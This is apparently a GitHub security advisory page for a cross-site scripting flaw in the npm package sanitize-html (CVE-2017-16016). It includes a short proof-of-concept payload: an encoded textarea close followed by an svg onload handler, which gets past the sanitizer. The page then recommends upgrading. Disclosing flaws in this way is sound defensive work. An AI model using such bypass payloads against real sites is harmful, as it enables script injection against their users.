Skip to content

Cross-Site Scripting in sanitize-html

Moderate severity GitHub Reviewed Published Nov 9, 2018 to the GitHub Advisory Database • Updated Sep 8, 2023

Package

npm sanitize-html (npm)

Affected versions

<= 1.11.1

Patched versions

1.11.4

Description

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

References

Published to the GitHub Advisory Database Nov 9, 2018
Reviewed Jun 16, 2020
Last updated Sep 8, 2023

Severity

Moderate

Weaknesses

CVE ID

CVE-2017-16016

GHSA ID

GHSA-xc6g-ggrc-qq4r

Source code

No known source code
Checking history
See something to contribute? Suggest improvements for this vulnerability.